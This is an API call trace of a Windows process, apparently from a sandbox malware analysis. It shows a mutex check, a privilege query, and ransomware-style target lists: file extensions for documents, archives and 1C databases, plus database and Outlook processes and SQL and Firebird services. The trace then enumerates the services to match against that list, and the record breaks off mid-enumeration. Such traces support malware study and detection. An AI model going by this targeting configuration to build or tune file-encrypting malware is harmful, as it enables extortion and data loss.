	[0184.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e74a0 | out: hHeap=0x5d0000) returned 1
	[0184.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7) returned 0x5e6fc8
	[0184.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e8038
	[0184.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8038, Size=0x20) returned 0x5daf10
	[0184.104] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5daf10, Size=0x40) returned 0x5e74a0
	[0184.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x5fe878
	[0184.105] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7U") returned 0x1f0
	[0184.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6fc8 | out: hHeap=0x5d0000) returned 1
	[0184.105] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0184.105] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e74a0 | out: hHeap=0x5d0000) returned 1
	[0184.105] GetVersion () returned 0x23f00206
	[0184.105] GetCurrentProcess () returned 0xffffffff
	[0184.105] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0184.105] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0184.105] CloseHandle (hObject=0x1f4) returned 1
	[0184.105] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0184.105] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e6260
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e8110
	[0184.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8110, Size=0x20) returned 0x5daf10
	[0184.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5daf10, Size=0x40) returned 0x5e7770
	[0184.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7770, Size=0x80) returned 0x5e6838
	[0184.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e6838, Size=0x100) returned 0x5e7d58
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x34) returned 0x5ea310
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e7088
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e70c8
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e6fc8
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e8038
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e7128
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e8050
	[0184.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7128, Size=0x8) returned 0x5e6fd8
	[0184.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e80b0
	[0184.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e6fd8, Size=0x10) returned 0x5e80c8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e80e0
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e8110
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e80c8, Size=0x20) returned 0x5daf10
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e80c8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e8128
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7088, Size=0x8) returned 0x5e7118
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e70c8, Size=0x8) returned 0x5e7128
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e7088
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e8140
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e6fd8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e8158
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e6fd8, Size=0x8) returned 0x5e70c8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e81d0
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e70c8, Size=0x10) returned 0x5e81e8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e81b8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e6fd8
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e81e8, Size=0x20) returned 0x60efb8
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7118, Size=0x10) returned 0x5e81e8
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7128, Size=0x10) returned 0x5e8200
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e70c8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e8260
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e6fe8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e8278
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e6fe8, Size=0x8) returned 0x5e7118
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e7128
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e8218
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e6fe8
	[0184.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e8230
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e6fe8, Size=0x8) returned 0x60f238
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e81e8, Size=0x20) returned 0x60ef40
	[0184.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8200, Size=0x20) returned 0x60eec8
	[0184.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f258
	[0184.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e8248
	[0184.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60f0d8
	[0184.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e81e8
	[0184.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f0d8, Size=0x8) returned 0x60f268
	[0184.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e6300
	[0184.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e6280
	[0184.107] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0184.107] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7d58 | out: hHeap=0x5d0000) returned 1
	[0184.107] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e8200
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8200, Size=0x20) returned 0x60efe0
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60efe0, Size=0x40) returned 0x5e79f8
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e79f8, Size=0x80) returned 0x5e7d58
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7d58, Size=0x100) returned 0x5e7d58
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e8200
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8200, Size=0x20) returned 0x60ee00
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ee00, Size=0x40) returned 0x5e74a0
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e74a0, Size=0x80) returned 0x614508
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614508, Size=0x100) returned 0x5e8618
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e8200
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60f298
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149c8
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f298, Size=0x8) returned 0x60f1f8
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e62a0
	[0184.111] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f1f8, Size=0x10) returned 0x6149e0
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e6060
	[0184.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x60f030
	[0184.112] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149e0, Size=0x20) returned 0x60ef18
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x60eef0
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16) returned 0x5e6100
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x60ef68
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614a40
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60f208
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x5e7800
	[0184.112] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f208, Size=0x8) returned 0x60f0b8
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x5e7ba8
	[0184.112] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f0b8, Size=0x10) returned 0x614b48
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e61e0
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e6320
	[0184.112] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b48, Size=0x20) returned 0x60ef90
	[0184.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x5e5648
	[0184.112] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0184.112] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7d58 | out: hHeap=0x5d0000) returned 1
	[0184.112] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0184.112] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e8618 | out: hHeap=0x5d0000) returned 1
	[0184.112] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x60f058
	[0184.116] EnumServicesStatusExW (in: hSCManager=0x60f058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0184.117] GetLastError () returned 0xea
	[0184.117] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1bc4) returned 0x617800
	[0184.117] EnumServicesStatusExW (in: hSCManager=0x60f058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617800, cbBufSize=0x1bc4, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617800, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0184.118] CloseServiceHandle (hSCObject=0x60f058) returned 1
	[0184.118] lstrlenW (lpString="Appinfo") returned 7
	[0184.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0184.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0184.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0184.121] lstrlenW (lpString="AppXSvc") returned 7
	[0184.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0184.121] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0184.121] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0184.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0184.121] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0184.121] lstrlenW (lpString="Audiosrv") returned 8
	[0184.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0184.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0184.121] lstrlenW (lpString="BFE") returned 3
	[0184.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0184.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0184.121] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0184.121] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0184.122] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0184.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0184.122] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0184.122] lstrlenW (lpString="CDPSvc") returned 6
	[0184.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0184.122] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0184.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0184.122] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0184.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0184.122] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0184.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0184.122] lstrlenW (lpString="CryptSvc") returned 8
	[0184.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0184.123] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0184.123] lstrlenW (lpString="DcomLaunch") returned 10
	[0184.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0184.123] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0184.123] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0184.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0184.123] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0184.123] lstrlenW (lpString="Dhcp") returned 4
	[0184.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0184.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0184.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0184.123] lstrlenW (lpString="Dnscache") returned 8
	[0184.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0184.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0184.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0184.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0184.124] lstrlenW (lpString="DPS") returned 3
	[0184.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0184.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0184.124] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0184.124] lstrlenW (lpString="DusmSvc") returned 7
	[0184.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0184.124] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0184.124] lstrlenW (lpString="EventLog") returned 8
	[0184.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0184.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0184.124] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0184.124] lstrlenW (lpString="EventSystem") returned 11
	[0184.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0184.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0184.124] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0184.125] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0184.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0184.125] lstrlenW (lpString="FontCache") returned 9
	[0184.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0184.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0184.125] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0184.125] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0184.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0184.125] lstrlenW (lpString="gpsvc") returned 5
	[0184.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0184.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0184.125] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0184.125] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0184.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0184.125] lstrlenW (lpString="iphlpsvc") returned 8
	[0184.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.125] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0184.125] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0184.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0184.125] lstrlenW (lpString="KeyIso") returned 6
	[0184.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0184.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0184.125] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0184.125] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0184.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0184.126] lstrlenW (lpString="LanmanServer") returned 12
	[0184.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.126] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0184.126] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0184.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0184.126] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0184.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.126] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0184.126] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0184.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0184.126] lstrlenW (lpString="lfsvc") returned 5
	[0184.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0184.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0184.126] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0184.126] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0184.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0184.126] lstrlenW (lpString="lmhosts") returned 7
	[0184.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0184.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0184.126] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0184.126] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0184.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0184.126] lstrlenW (lpString="LSM") returned 3
	[0184.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0184.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0184.127] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0184.127] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0184.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0184.127] lstrlenW (lpString="MpsSvc") returned 6
	[0184.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
